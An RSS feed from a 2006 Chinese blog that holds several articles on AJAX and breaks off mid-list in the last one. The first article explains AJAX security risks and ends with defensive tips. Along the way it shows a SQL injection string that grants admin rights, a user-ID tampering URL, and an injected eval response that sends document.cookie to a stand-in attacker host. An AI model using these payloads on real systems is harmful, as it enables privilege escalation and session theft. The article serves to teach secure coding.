﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Welcome to 陈俊峰's ---BeetleHeaded Man Blog !-随笔分类-AJAX</title><link>http://www.cppblog.com/Jeff-Chen/category/1685.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 25 May 2008 13:16:33 GMT</lastBuildDate><pubDate>Sun, 25 May 2008 13:16:33 GMT</pubDate><ttl>60</ttl><item><title>谈AJAX的安全性及AJAX安全隐患</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 08:32:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7032.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7032.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7032.html</trackback:ping><description><![CDATA[Web开发者不会注意到由 “AJAX（Asynchronous JavaScript And XML）”所带来的激情。不费力气就能创建像Google Suggest那样的智能网站或者像Gmail那样基于Web的应用程序，这在很大程度上要归功于这种技术。然而，伴随着AJAX应用程序的发展，我们发现了它的一些不足之处，我们发现它的安全漏洞也在逐渐变大，就像慢慢地把基于AJAX的站点放入了一颗定时炸弹中。<br /><br /><br />AJAX的好处<br /><br />在当年“Web应用程序”的美好时代，事情非常简单。你填写了一个表单，点击“提交”按钮，然后当前屏幕就消失了，等待一小会儿后你就转入到了下一个页面。今天的状况已经不是这样的了，用户需要的是一种就像任何桌面应用程序那样流畅、快捷和人性化的Web体验。<br /><br />AJAX经常是和DHTML（Dynamic HTML）一起协作的，它的顺利执行需要允许网页中的JavaScript代码和web服务器在后台无缝通讯。比方说，当你开始在Google Suggest的搜索框中输入东西时，web页面就和服务器在后台开始交换数据，然后会给出一些你可能需要的词条等。所有的这一切都不需要页面刷新或者按下任何按钮。同样这也就是像Gmail那样的应用程序怎么能对实时拼写检查做的那么好的原因。<br /><br />AJAX怎样工作<br /><br />AJAX复杂的原理已经超出了今天所要阐述的范围，这里只简单描述一下。你的页面上的JavaScript代码能够在不依赖于用户的情况下和你的Web服务器取得联系。这里面起核心作用的就是JavaScript的XMLHttpRequest对象，这个对象能够被就像用户敲击键盘或者时钟事件在后台或者异步触发（也就是术语异步JavaScript和XML）。<br /><br />如果你在Google Suggest中输入“ajax”后，就会得到像我输入后得到的服务器请求一样：<br />1. www.google.com/complete/search?hl=en&amp;js=true&amp;qu=aj <br />2. www.google.com/complete/search?hl=en&amp;js=true&amp;qu=aja <br />3. www.google.com/complete/search?hl=en&amp;js=true&amp;qu=ajax <br /><br />在这个术语中的XML部分有一点会引起人们的误解，其实这一部分是没有任何意义的。它是从JavaScript对象得来的名字，同时许多AJAX风格的应用程序使用了XML，这个对象能够就任何事务向服务器发出一个请求。甚至JavaScript代码本身也能够被取回和评估。继续完成我的输入“ajax example”，将会从Google的服务器产生下面的回应：<br />sendRPCDone(frameElement, "ajax example", new Array("ajax example", "ajax examples"), new Array("153,000 results", "177,000 results"), new Array(""));<br /><br />这将会给你一些关于强大的AJAX的暗示吧，它具有在运行中（on the fly）把新的JavaScript代码加入到浏览器中的能力。然而，最优化的方法看起来好像束缚了XML协定。举个例子说明一下，比如Google产生了下面的这个东西：<br />    ajax example <br />    153,000 <br />    ajax examples <br />    177,000<br /><br />显然，你可以在一个合适的表单中解释这些XML数据，但我们要感谢JavaScript，它确实能够在一些非常典型的限制条件下和大量讨厌的IE bug环境里非常好的处理XML对象。<br /><br />为了帮助你理解一些Ajax的问题，我在这里给你介绍一个假想的旅行公司－“时代尖端旅行公司”。由于受到AJAX bug的推动，他们的主要web开发者Max Uptime为了创建一个这样的应用程序，他决定混合使用AJAX，这样，他走在时代尖端了。<br /><br />AJAX的问题<br /><br />半数以上的AJAX安全风险来自隐含在服务器中的漏洞。显然，使用安全编码技术的好的设计，对于更安全的AJAX大有帮助，我们需要感谢Max熟悉开放万维网应用安全计划（the Open Web Application Security Project - OWASP）排名前十的最严重web应用程序安全漏洞列表（www.owasp.org）。不幸的是，当Max实现AJAX的时候，他仍然需要面对许多额外的因素：<br /><br />1.新的技术：如果Max想把他的站点连接到一个SQL数据库，他在Google查到了数百万的例子。AJAX技术，不管这种技术有多年轻，它仍然是出现在采购循环中相对较早的，尽管它只有很少一部分好的例子出现在网络上。为了解决一些难处理的和不必要的复杂问题，这就要求像Max那样的开发者去自主开发。Max也就不得不编写服务器端和客户端的代码，创建他自己不太确定的协议（特别是对服务器响应来讲）。不管这些协议有多好，都将会及时表现在页面上。<br /><br />2.非传统方式的设计：AJAX有一点点不同于传统设计方式，因为这样的应用程序是半客户端半服务端的。在Max的例子里，他是唯一的开发者，所以他为服务端和客户端都能够进行编码。在同一时间使用两种不同的语言（特别是在早期阶段）进行开发将会产生一些初级的编码错误，因为他要在两端来回跳跃，对一端来讲非常好，但可能在另一端不能够胜任。即使Max有一个大的开发团队，安全编码责任也可能在服务端和客户端开发小组之间代码移交的时候发生问题。<br /><br />3.太多的脚本语言：Max凭借他自己的聪明才智决定建立世界上最优秀的旅行登记工具。你从输入你现在的位置（通过邮政编码、电话区号或者GPS等等）开始登记，这时候一个AJAX请求就会被立即发送来确定你确切的位置。从那时候开始，屏幕上就会填入你所有可以利用的旅行方式，这一切甚至都是在你决定你想要去什么地方、你打算什么时候动身和你打算和谁一同去之前就完成的。<br /><br />这个屏幕上的单元格和控件都充满了AJAX驱动，服务器端和客户端的脚本可能需要超过20个不同的服务器调用。你可以想像一个很小的个体服务器程序，比如findairportsbylocation.aspx 或者 determinemaxbaggageallowancebyairline.php.<br /><br />显而易见，如果没有Max的仔细计划（比如创建多功能的“重载”JavaScript函数和服务器脚本），每一次设计他都需要创建超过40个独立的部分。更多的编程意味着会产生更多的错误和bug，意味着需要更多的时间去编写、管理、测试和更新代码。不仅如此，因为在客户端的JavaScript代码中应用了大量的这种脚本，他们在正式的程序测试中也容易变得很健忘。<br /><br />4.确定小部分的AJAX不会引起危害：这个站点是一个计划出行的站点，但是Max考虑的是它将立刻为你提供一个显示精确位置的卫星视图，并且把你所要到达目的地的天气情况也提供给你。AJAX最大的诱惑之一看起来好像是直到最后一刻它还在进行其它的操作，就像一个讲解员在那里解说一样，为了AJAX使用了AJAX。当Max开始尝试他的新想法时，他会逐渐尝试增加更多新的功能，完全忽视测试的需要。<br /><br />5.不安全的通讯：每一个AJAX调用可能只回传很少数量的数据给客户端，但那些数据是私有的、保密的。Max可以编写一个便利的工具来对你的信用卡号码进行数字校验，但是如果使用纯文本代替over SSL进行发送数据会怎样呢？这是一个显而易见的问题，但是当有许多例行程序需要考虑，特别是屏幕上其它99％的数据不是真正的机密数据时，很容易就会忽视掉SSL的。<br /><br />6.服务器端访问控制：使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误，服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆，他可能会是像下面这样：<br />showprevioushotels.aspx?userid=12345&amp;destination=UK <br /><br />这当然是非常好的，但是如果一个恶意用户把URL改成了如下所示该怎么办呢：<br />    showprevioushotels.aspx?userid=12346&amp;destination=% <br /><br />他们会得到其他人最喜爱的旅馆吗？（注意：％在SQL语句中是通配符）。无疑，这是一个没有什么危害的例子，但是Max应该使用session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分，但它们可能就是最重要的一小部分。<br /><br />7.服务器端验证：实际上这里有两个问题。第一，AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max，使Max有一种虚假的安全感，原因是他建立了称作alloweddestinations.php的函数，根据用户的ID来决定他们能够到达的正确目的地。<br /><br />因为这是一个服务器端的检查，当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼，这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。<br /><br />AJAX控制可以比用户自己更仔细验证用户的输入，但是他们还是经常在服务器上最后做一次验证。<br /><br />AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下，URL通常是隐藏着的，所以也会经常忘掉它。举例说明一下，也许我可以使用SQL Injection来对刚才的脚本进行攻击，如下所示：<br />    showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;-- <br /><br />就会让我登录后具有系统管理员的权限。当然，如何取得那些表名（table）和字段名已经超出了本文讨论的范围，但是你已经了解这种情况了，不是吗？<br /><br />8.客户端验证：我们已经知道在刚才的Google Suggest例子中，通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证（如果这样的话在客户端很难保证可靠性和流畅性），客户端将仅仅简单执行服务器需要它完成的事情。<br /><br />这样的话，由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的（也就是说你不能够“查看源文件”），于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱（这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中），这种攻击将很难被发现。<br /><br />Max使用下面的响应在目的地网页上更新天气图标，他是用的函数是eval();函数：<br />    updateWeatherIcon('cloudy.gif');<br /><br />然而，恶意的cracker能够把这个函数变成下面的形式，这样要发现这种攻击就更加困难了：<br />    updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies);     updateWeatherIcon('cloudy.gif');<br /><br />我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。<br /><br />小结<br /><br />毫无疑问，AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”，使用AJAX必须小心谨慎，这样才能够保证web站点的安全。<br /><br />然而，最大的威胁之一，来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外，使测试很不直观；同时，这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失，它们变得更多更复杂了。<br /><br />5个最重要的AJAX安全提示：<br /><br />为了取得成功，你必须从好的计划开始。必须集中你的才智减少和简化AJAX调用，创建一个标准的响应格式，在任何地方都要遵循这个协定（理想的XML）。<br /><br />遵循来自像开放万维网应用安全计划那样的站点的最优方法。这里面特别包含了访问控制和输入校验漏洞检查，同时确保敏感信息使用over SSL胜过使用普通文本。<br /><br />永远不要假设服务器端AJAX对于访问控制或者用户输入校验检查能够代替在服务器上的最终再检查。增加AJAX控制永远不会减少你的验证工作量，它们只能增加你的工作量。<br /><br />永远不要假设客户端的混淆技术（obfuscation，在这里指使JavaScript难于阅读和解码）能够保护你非常重要的商业秘密。使用JavaScript是隐藏程序设计最没用的一种手段，还能够为你的对手提供好处。<br /><br />最后，你必须非常好的领导你的开发团队。使用AJAX听起来非常引人注目，但是你应该认识到要保留你的开发团队以便开发版本2，当然现在你应该开发非常稳定的版本1。<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7032.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 16:32 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AJAX应用解决一些常见问题</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 08:00:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7027.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7027.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7027.html</trackback:ping><description><![CDATA[不可否认，我是非常看好AJAX技术的。我以为AJAX技术对于互联网，就像HTML对于互联网一样。但同时又要看到，AJAX技术不能完全取代我们常规的WEB开发技术。AJAX技术有它让人眼睛一亮的优点，同时它也有很多弱点。我们作为开发人员，不能因为AJAX技术好，就在WEB开发中全部使用AJAX。<br /><br />　　对了，不能为了AJAX而AJAX，就像钢要用到刀刃上一样，AJAX应该用在能充分发挥它的优点的地方。而大多数的时候，我们还需要和往常一样，使用MVC的实现STRUTS开发框架。<br /><br />　　提到AJAX，不能不提到与它一起被强调的另一个词:用户体验。AJAX丰富了B/S模式的表现层，对于B/S模式的UI来说，它号称没有做不到、只有想不到。这里说来说去，都是一个用户体验的问题。AJAX号称无刷新，其实很多时候，用户需要有刷新才能知道有了页面提交，如在保存数据的时候，所以在这个时候使用AJAX却有害于用户体验的。<br /><br />　　那么在什么时候可能使用到AJAX呢?第一、请求的提交是为了页面数据的显示，这时候用户一般不希望看到页面的刷新，是使用AJAX的一个最佳时候。第二、如果请求提交后，用户能从页面感觉到提交结果，这时候，也最好不要有页面刷新，推荐使用AJAX技术。第三、如果请求提交后，用户不能从页面感觉到提交动作，如绝大多数时候的数据的增加和修改，这时候则需要页面刷新，不能使用AJAX技术。第四、复杂的UI，以前对于复杂的C/S模式的UI，B/S模式一向采取逃避的方法，现在则可以放心大胆的使用AJAX来加以解决。<br /><br />　　AJAX技术的实践，就像有了魔法一样，一旦你使用了一次，就会爱不释手。面对精彩的AJAX技术，还等什么?赶快看看您的WEB应用里，有没有下列问题之一，如果有的话，不妨用AJAX试试看!<br /><br />　　第一、输入值校验的问题<br /><br />　　输入校验是我们经常遇到的问题，这种问题很多时候是可以在JS里解决。但有些时候却需要访问后台，如在申请用户的时候检查用户名是否重复等等问题。用AJAX吧，页面不会有刷新。<br /><br />　　第二、级联显示的问题<br /><br />　　这种问题应该是我们遇到的最多的表现层的问题，常常让我们左右为难:你说访问后台吧，页面需要刷新，用户体验很不好;你说用JS解决吧，确实有点让JS勉为其难，强行用JS解决了，代码一大堆不说，数据量大的话还会有内存问题，而且数据也不安全。<br /><br />　　这类的问题很多:最常见的是级联的两个或更多的选择框，还有选择框的变形，级联菜单，导航树等等。<br /><br />　　遇到了这一类的问题，赶快行动吧!用AJAX访问后台，既不需要刷新页面，也没有过多的JS代码，一举两得。<br /><br />　　第三、请求结果只改变部分页面<br /><br />　　这一类的问题我们也会时常碰到，如，论坛的回复帖子和帖子列表在一个页面上的时候。这两个UI在一个页面上，用户体验比回复帖子在另外一个页面好。但回复后要对整个页面进行刷新，这种感觉就不好了。你看，那么大一个帖子列表，只增加你的一个回复，却要对整个页面进行刷新，不管从哪个角度来看都不好。<br /><br />　　这一类的问题不管是用户体验，还是从技术的角度来讲，都是使用AJAX最好不过。<br /><br />　　第四、由于技术原因而使用iframe的问题<br /><br />　　Iframe的问题纯粹是由于技术的原因引起的。为了解决技术问题而引入iframe,却iframe的一再嵌套却又引入了其他的技术难题。有的想尽办法来勉强解决这个问题，有的却干脆不要使用iframe。不使用iframe，而使用JS的解决方法却是繁琐的。现在不用左右为难了，使用AJAX就是最好的解决方案。<br /><br />　　第五、数据录入和列表显示在同一个页面<br /><br />　　C/S模式的UI中常常有数据录入和数据列表显示在同一个界面上，这样对于用户来说有很好的用户体验，用户录入的结果马上就能在同一界面显示。但是在B/S的UI上，由于需要提交刷新的问题，我们经常把数据的录入和数据显示分别放在两个不同的页面上。很显然，这样的用户体验肯定没有C/S模式来得好。像这样的问题还有很多，在B/S模式下，都因为技术的原因而选择其他的解决办法。现在我们可以自豪的使用AJAX来宣告可以做出和C/S模式一样复杂的UI了。<br /><br />　　第六、翻页问题<br /><br />　　如果有技术可以使翻页不需要刷新，你愿不愿意尝试一下呢?有很多这样的数据显示的问题需要刷新哦，考虑一下AJAX!<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7027.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 16:00 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AJAX：开发者新的技术天地介绍</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 07:52:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7025.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7025.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7025.html</trackback:ping><description><![CDATA[基于XML的异步JavaScript，简称AJAX，是当前Web创新(称为Web2.0)中的一个王冠。感谢组成AJAX的各种技术，Web应用的交互如Flickr, Backpack和Google在这方面已经有质的飞跃。这个术语源自描述从基于网页的Web应用到基于数据的应用的转换。在基于数据的应用中，用户需求的数据如联系人列表，可以从独立于实际网页的服务端取得并且可以被动态地写入网页中，给缓慢的Web应用体验着色使之像桌面应用一样。<br /><br />　　虽然大部分开发人员在过去使用过XMLHttp或者使用Iframe来加载数据，但仅到现在我们才看到传统的开发人员和公司开始采用这些技术。就像新的编程语言或模型伴随着更多的痛苦，开发人员需要学习新的技巧及如何最好利用这些新技术。<br /><br />　　AJAX模式<br /><br />　　许多重要的技术和AJAX开发模式可以从现有的知识中获取。例如，在一个发送请求到服务端的应用中，必须包含请求顺序、优先级、超时响应、错误处理及回调，其中许多元素已经在Web服务中包含了，就像现在的SOA。AJAX开发人员拥有一个完整的系统架构知识。同时，随着技术的成熟还会有许多地方需要改进，特别是UI部分的易用性。<br /><br />　　AJAX开发与传统的CS开发有很大的不同。这些不同引入了新的编程问题，最大的问题在于易用性。由于AJAX依赖浏览器的JavaScript和XML，浏览器的兼容性和支持的标准也变得和JavaScript的运行时性能一样重要了。这些问题中的大部分来源于浏览器、服务器和技术的组合，因此必须理解如何才能最好的使用这些技术。<br /><br />　　综合各种变化的技术和强耦合的客户服务端环境，AJAX提出了一种新的开发方式。AJAX开发人员必须理解传统的MVC架构，这限制了应用层次之间的边界。同时，开发人员还需要考虑CS环境的外部和使用AJAX技术来重定型MVC边界。最重要的是，AJAX开发人员必须禁止以页面集合的方式来考虑Web应用而需要将其认为是单个页面。一旦UI设计与服务架构之间的范围被严格区分开来后，开发人员就需要更新和变化的技术集合了。<br /><br />　　时刻想着用户<br /><br />　　AJAX的最大机遇在于用户体验。在使应用更快响应和创新的过程中，定义Web应用的规则正在被重写;因此开发人员必须更注重用户。现在用户已经逐渐习惯如何使用Web应用了。例如用户通常希望每一次按钮点击会导致几秒的延迟和屏幕刷新，但AJAX正在打破这种长时间的状况。因此用户需要重新体验按钮点击的响应了。<br /><br />　　可用性是AJAX另人激动的地方而且已经产生了几种新颖的技术。其中最引人注目的是一种称为“黄色隐出”的技术，他在数据更新之前时将用户界面变为黄色，更新完成后立刻恢复原来的颜色。AJAX开发人员将用户从Web应用的负载中解放出来;小心地利用AJAX提供的丰富接口，不久桌面开发人员会发现AJAX是他们的方向。<br /><br />　　几种工具和技术<br /><br />　　随着AJAX迅速地引人注目起来，我想开发人员对这种技术的期待也迅速地增加。就像任何新技术，AJAX的兴旺也需要一整个开发工具/编程语言及相关技术系统来支撑。<br /><br />　　JavaScript<br /><br />　　如名字所示AJAX的概念中最重要而最被忽视的是他也是一种JavaScript编程语言。JavaScript是一种粘合剂使AJAX应用的各部分集成在一起。在大部分时间，JavaScript通常被服务端开发人员认为是一种企业级应用不需要使用的东西应该尽力避免。这种观点来来自以前编写JavaScript代码的经历:繁杂而又易出错的语言。类似的，他也被认为将应用逻辑任意地散布在服务端和客户端中，这使得问题很难被发现而且代码很难重用。在AJAX中JavaScript主要被用来传递用户界面上的数据到服务端并返回结果。XMLHttpRequest对象用来响应通过HTTP传递的数据，一旦数据返回到客户端就可以立刻使用DOM将数据放到网面上。<br /><br />　　XMLHttpRequest<br /><br />　　XMLHttpRequest对象在大部分浏览器上已经实现而且拥有一个简单的接口允许数据从客户端传递到服务端，但并不会打断用户当前的操作。使用XMLHttpRequest传送的数据可以是任何格式，虽然从名字上建议是XML格式的数据。<br /><br />　　开发人员应该已经熟悉了许多其他XML相关的技术。XPath可以访问XML文档中的数据，但理解XML DOM是必须的。类似的，XSLT是最简单而快速的从XML数据生成HTML或XML的方式。许多开发人员已经熟悉Xpath和XSLT，因此AJAX选择XML作为数据交换格式有意义的。XSLT可以被用在客户端和服务端，他能够减少大量的用JavaScript编写的应用逻辑。<br /><br />　　CSS<br /><br />　　为了正确的浏览AJAX应用，CSS是一种AJAX开发人员所需要的重要武器。CSS提供了从内容中分离应用样式和设计的机制。虽然CSS在AJAX应用中扮演至关重要的角色，但他也是构建创建跨浏览器应用的一大阻碍，因为不同的浏览器厂商支持各种不同的CSS级别。<br /><br />　　服务器端<br /><br />　　但不像在客户端，在服务端AJAX应用还是使用建立在如Java,.Net和PHP语言基础上机制;并没有改变这个领域中的主要方式。<br /><br />　　既然如此，我们对Ruby o-n Rails框架的兴趣也就迅速增加了。在一年多前，Ruby o-n Rails已经吸引了大量开发人员基于其强大功能来构建Web和AJAX应用。虽然目前还有很多快速应用开发工具存在，Ruby o-n Rails看起来已经储备了简化构建AJAX应用的能力。<br /><br />　　开发工具<br /><br />　　在实际构建AJAX应用中，你需要的不只是文本编辑器。既然是JavaScript非编译的，他可以容易地编写和运行在浏览器中;然而，许多工具提供了有用的扩展如语法高亮和智能完成。<br /><br />　　不同的IDE提供了对JavaScript支持的不同等级。来自JetBrains的IntelliJ IDEA是一个用来JavaScript开发的更好的IDE，虽然许多开发人员也喜欢Microsoft’s Visual Studio产品(允诺会在最新的版本中改善对AJAX的支持)。Eclipse包含了两个免费的JavaScript编辑器插件和一个商业的来自ActiveStat的Komodo IDE。<br /><br />　　另一个JavaScript和AJAX开发中的问题是调试困难。不同的浏览器提供不同的通常是隐藏的运行时错误信息，而JavaScript的缺陷如双重变量赋值(通常是由于缺少数据类型)使得调试更加困难。在AJAX的开发中，调试就更复杂了，因为其需要标识究竟是客户端还是服务端产生的错误。在过去，JavaScript调试的方法是删除所有代码然后一行行的增加直到错误出现。现在，更多开发人员回到为IE准备的Microsoft Script Debugger和为Mozilla浏览器准备的Venkman。<br /><br />　　浏览器兼容性<br /><br />　　JavaScript编程的最大问题来自不同的浏览器对各种技术和标准的支持。构建一个运行在不同浏览器(如IE和火狐)是一个困难的任务。因此几种AJAX JavaScript框架或者生成基于服务端逻辑或标记库的JavaScript，或者提供符合跨浏览器AJAX开发的客户端JavaScript库。一些流行的框架包括:AJAX.Net, Backbase, Bitkraft, Django, DOJO, DWR, MochiKit, Prototype, Rico, Sajax, Sarissa, and Script.aculo.us.<br /><br />　　这些框架给开发人员更多的空间使得他们不需要担心跨浏览器的问题。虽然这些框架提升了开发人员构建应用的能力，但由于厂商已经开发了更细节的用户界面的打包组件解决方案，因此在AJAX组件市场中需要考虑一些其他因素。例如提供通用用户界面的组件如组合框和数据栅格的几个厂商，都可以被用来在应用中创建良好的通过类似电子数据表方式来查看和编辑数据的体验。但这些组件不仅是封装了组件的用户界面而且包括与服务端数据的通讯方式，这些组件通常使用基于标记方式来实现如ASP.Net或JSF控件。<br /><br />　　展望<br /><br />　　最近IE和火狐之间的浏览器之争变得火热起来，因此AJAX开发人员需要足够敏捷的作出反应。关键点在一些问题如CSS或XML，虽然各种浏览器形成采用最新标准的不同阵营(如Mozilla拥抱SVG和E4X标准及在最新火狐BETA版本中使用XUL，而微软使用自己的XAML技术)。所有这些技术代表当前AJAX主流JavaScript和XML的市场方向改变。<br /><br />　　总的来说，AJAX开发人员必须尽快地跟进最新的技术并利用高产的工具集。成功的AJAX开发人员还需要留心他们的使用者以避免将任何问题扩大化。并且AJAX开发人员还需要持续地创新来创建增强Web应用易用性的新方法。<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7025.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 15:52 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7025.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用AJAX的十大理由</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 05:21:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6866.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6866.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6866.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6866.html</trackback:ping><description><![CDATA[
		<p style="TEXT-INDENT: 2em">作者：AndreCharland</p>
		<p style="TEXT-INDENT: 2em">保守来说，AJAX在现在是热得不能再热的技术。没有人能否认，它拥有大批的支持者。在CNN上，它从二月份的一个不被看好的词语到十月份成长成一个初具雏形的技术。所以，有必要要看看为什么AJAX能发展成为现在的样子，为什么它能不断成长，并且在短的时间内迅速变得无处不在。所以，我用午夜谈话的风格，来给出需要AJAX技术的十大理由。</p>
		<p style="TEXT-INDENT: 2em">使用AJAX的十大理由：</p>
		<p style="TEXT-INDENT: 2em">10。XAML,XUL,XForms...等等。</p>
		<p style="TEXT-INDENT: 2em">9。服务端技术的不确定性。</p>
		<p style="TEXT-INDENT: 2em">8。Web2.0。</p>
		<p style="TEXT-INDENT: 2em">7。被软件工业领袖们强势采用。</p>
		<p style="TEXT-INDENT: 2em">6。和Flex和Flash等技术的很好的集成。</p>
		<p style="TEXT-INDENT: 2em">5。边际成本低。</p>
		<p style="TEXT-INDENT: 2em">4。能使常规的Web应用受益。</p>
		<p style="TEXT-INDENT: 2em">3。跨浏览器和跨平台。</p>
		<p style="TEXT-INDENT: 2em">2。以可用性和用户体验为王。</p>
		<p style="TEXT-INDENT: 2em">1。基于公开标准。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第一名：公开标准</b>
		</p>
		<p style="TEXT-INDENT: 2em">让我们从第一条开始，AJAX技术是基于被各大浏览器和平台都支持的公开标准的技术。这意味着该技术不怕技术提供商的技术封锁。组成AJAX技术的大多数技术都能放心的使用很多年，而那些不是热点的、最新的和未经考验的技术只能使用一段时间。现在，对于绝大多数的用户和企业来说，浏览器是一个可信任的应用平台，这在五年前就不是个问题了。对于AJAX来说，FIREFOX浏览器的基础Mozilla1.0的发布并且支持XMLHTTPRequest对象是一个转折点。这种允许异步数据交换的技术好多年前就被IE浏览器支持了。这种支持和FIREFOX浏览器的大量被采用真正的使人们理解了跨浏览器的富Internet应用成为了可能。</p>
		<p style="TEXT-INDENT: 2em">1）JavaScriptorECMAScript(StandardECMA-262)：一个有趣的事情是，Javascript是经过长时间后才成为被人们接受的技术，长时间以来，很多公司采用非Javascript技术的方针，幸运的是，这种状况被迅速的改变。</p>
		<p style="TEXT-INDENT: 2em">
				<a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" target="_blank">
						<font color="#002c99">http://www.ecma-international.org/publications/standards/Ecma-262.htm</font>
				</a>
		</p>
		<p style="TEXT-INDENT: 2em">2）XML：是一个来自W3C的、被广泛应用的标准。</p>
		<p style="TEXT-INDENT: 2em">
				<a href="http://www.w3.org/XML/" target="_blank">
						<font color="#002c99">http://www.w3.org/XML/</font>
				</a>
		</p>
		<p style="TEXT-INDENT: 2em">3）HTML：<a href="http://www.w3.org/MarkUp/" target="_blank"><font color="#002c99">http://www.w3.org/MarkUp/</font></a></p>
		<p style="TEXT-INDENT: 2em">4）CSS：<a href="http://www.w3.org/Style/CSS/" target="_blank"><font color="#002c99">http://www.w3.org/Style/CSS/</font></a></p>
		<p style="TEXT-INDENT: 2em">5）XMLHTTPRequestObject：被InternetExplorer、Mozilla-based、Safari和Opera浏览器支持。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第二名：可用性</b>
		</p>
		<p style="TEXT-INDENT: 2em">开发人员和设计人员开始认识到不仅大型的用户体验在市场上是成功的，而且也认识到这样体验是怎么来影响用户的开销的。基于AJAX技术的google地图比传统的选择MapQuest更成功，证明了提供更好的用户体验的产品的成功。AJAX技术是使网络应用有更好的可用性的一个领导性的技术。它允许从服务器端请求少量的信息，而不是整个网页。它增加了页面数据的更新但同时减少了页面的刷新和刷新等待，这些问题从网络已诞生就折磨着Web应用。</p>
		<p style="TEXT-INDENT: 2em">人们已经知道他们需要一个优秀的用户界面并且有对该界面的投资意愿。前提条件是：用户能够快速的取得信息不管数据是一个内部网的应用还是一个广域网的服务。</p>
		<p style="TEXT-INDENT: 2em">
				<b>十大理由第三名：跨浏览器和跨平台的兼容性</b>
